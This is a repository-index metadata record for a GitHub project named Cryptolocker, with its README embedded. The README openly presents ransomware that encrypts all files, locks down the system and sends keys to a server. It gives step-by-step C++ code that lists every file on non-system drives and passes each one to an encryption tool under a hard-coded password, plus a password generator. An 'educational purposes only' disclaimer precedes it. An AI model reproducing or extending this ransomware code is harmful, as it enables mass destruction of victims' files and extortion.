{"id":21338948,"url":"https://github.com/ajayrandhawa/cryptolocker","last_synced_at":"2026-01-03T12:02:39.653Z","repository":{"id":117675849,"uuid":"145728377","full_name":"ajayrandhawa/Cryptolocker","owner":"ajayrandhawa","description":"CryptoLocker is open source files encrypt-er. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.","archived":false,"fork":false,"pushed_at":"2023-06-21T09:27:13.000Z","size":5670,"stargazers_count":139,"open_issues_count":1,"forks_count":57,"subscribers_count":12,"default_branch":"master","last_synced_at":"2025-01-22T15:11:28.947Z","etag":null,"topics":["blackcat","crypto","exploit","exploit-development","hacking-tools","ransomware","ransomware-detection","wannacry"],"latest_commit_sha":null,"homepage":"","language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ajayrandhawa.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null}},"created_at":"2018-08-22T15:29:39.000Z","updated_at":"2024-11-30T14:38:22.000Z","dependencies_parsed_at":null,"dependency_job_id":"203d4fb3-77d5-499d-a69d-11c01e07b368","html_url":"https://github.com/ajayrandhawa/Cryptolocker","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ajayrandhawa%2FCryptolocker","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ajayrandhawa%2FCryptolocker/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ajayrandhawa%2FCryptolocker/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ajayrandhawa%2FCryptolocker/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ajayrandhawa","download_url":"https://codeload.github.com/ajayrandhawa/Cryptolocker/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243814979,"owners_count":20352077,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["blackcat","crypto","exploit","exploit-development","hacking-tools","ransomware","ransomware-detection","wannacry"],"created_at":"2024-11-22T00:41:27.656Z","updated_at":"2026-01-03T12:02:39.562Z","avatar_url":"https://github.com/ajayrandhawa.png","language":null,"funding_links":[],"categories":[],"sub_categories":[],"readme":"#### DISCLAIMER : OUR TOOLS ARE FOR EDUCATIONAL PURPOSES ONLY. DON'T USE THEM FOR ILLEGAL ACTIVITIES. YOU ARE THE ONLY RESPONSABLE FOR YOUR ACTIONS! OUR TOOLS ARE OPEN SOURCE WITH NO WARRANTY AND AS ARE.\n\n![𝚅𝚒𝚜𝚒𝚝𝚘𝚛𝚜](https://visitor-badge.laobi.icu/badge?page_id=ajayrandhawa.Cryptolocker\u0026title=Visitor )\n\n# Cryptolocker\n\nCrypto is open source Crypto-Locker. Crypto is developed in Visual C++. It has features encrypt all file, lock down the system and send keys back to the server. Multi-threaded functionality helps to this tool make encryption faster.\n\nUsing a powerful 256-bit encryption algorithm, Once a file is encrypted, File is completely useless without the password. It simply cannot be read.\n\n## Features\n\n1. Strong AES Encryption. (Unbreakable)\n2. Lockdown System Functionailty.\n3. Multi-Thread Encryption.\n4. Powerful Web Admin Interface\n\n\u003cimg src=\"ezgif-1-e99b3d2b6b39.gif\" \u003e\n\n## Step 1 (Fetch files)\n\nGetting all files from all drive to encrypting them.\n\nHere is Visual C++ program get all list directory \u0026 files in drive and store path in text file for encryption later use. I use Boost C++ libraries to get all files list. Please first setup Boost libraries to compile program.\n\n```\n#include \u003cboost/config/warning_disable.hpp\u003e\n#include \u003cboost/filesystem.hpp\u003e\n#include \u003ciostream\u003e\n#include \u003citerator\u003e\n#include \u003cstdio.h\u003e\n#include \u003cwindows.h\u003e\n\nusing namespace std;\n\nfstream out_file(\"data.txt\", ios::out);\n\n#define MAX 256\n\nint main(int argc, char* argv[]) {\n\n\tint dr_type = 99;\n\tchar dr_avail[MAX];\n\tchar *temp = dr_avail;\n\n\t/* 1st we fill the buffer */\n\tGetLogicalDriveStrings(MAX, dr_avail);\n\twhile (*temp != NULL) { // Split the buffer by null\n\t\tdr_type = GetDriveType(temp);\n\n\t\tchar skip[10] = \"C:\\\\\";\n\n\t\tif (dr_type == 3 \u0026\u0026 temp[0] != 'C') {\n\n\t\t\tboost::system::error_code dir_error;\n\n\t\t\tfor (boost::filesystem::recursive_directory_iterator end, dir(temp, dir_error); dir != end; dir.increment(dir_error)) {\n\t\t\t\tif (dir_error.value()) {\n\t\t\t\t\tcerr \u003c\u003c \"Error accessing file: \" \u003c\u003c dir_error.message() \u003c\u003c endl;\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tcout \u003c\u003c dir-\u003epath() \u003c\u003c endl;\n\t\t\t\t\tout_file \u003c\u003c dir-\u003epath() \u003c\u003c \"\\n\";\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ttemp += lstrlen(temp) + 1;\n\t}\n\tout_file.close();\n\tsystem(\"pause\");\n\t\n```\n\n## Step 2 (Encrypt files)\n\nHere firstly I get every file path from \"data.txt\" line by line and send to this crypy tool with type encryption and password. you can also embed all this program in upper loop for getting path and encrypting data recursively.\n\n```\nout_file.open(\"data.txt\", ios::in);\n\tstring line;\n\twhile (out_file.good()) {\n\t\tgetline(out_file, line);\n\t\tcout \u003c\u003c line \u003c\u003c endl;\n\t\tstd::string cmmd = \"crpt.exe -e -p 4321 \";\n\t\tcmmd += line;\n\t\tsystem(cmmd.c_str());\n\t}\n```\n\n## Step 3 (Create Long String Complex Password Function)\n\nSend length to function and function return complex long generated password which you can use for encryption.\n\n```\nstring RandomString(int len)\n{\n\tsrand(time(0));\n\tstring str = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\";\n\tstring newstr;\n\tint pos;\n\twhile (newstr.size() != len) {\n\t\tpos = ((rand() % (str.size() - 1)));\n\t\tnewstr += str.substr(pos, 1);\n\t}\n\treturn newstr;\n}\n```\n\n# Currently in Development....\n# Happy Cyber Security.....Happy Open Source.......\n# :)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fajayrandhawa%2Fcryptolocker","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fajayrandhawa%2Fcryptolocker","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fajayrandhawa%2Fcryptolocker/lists"}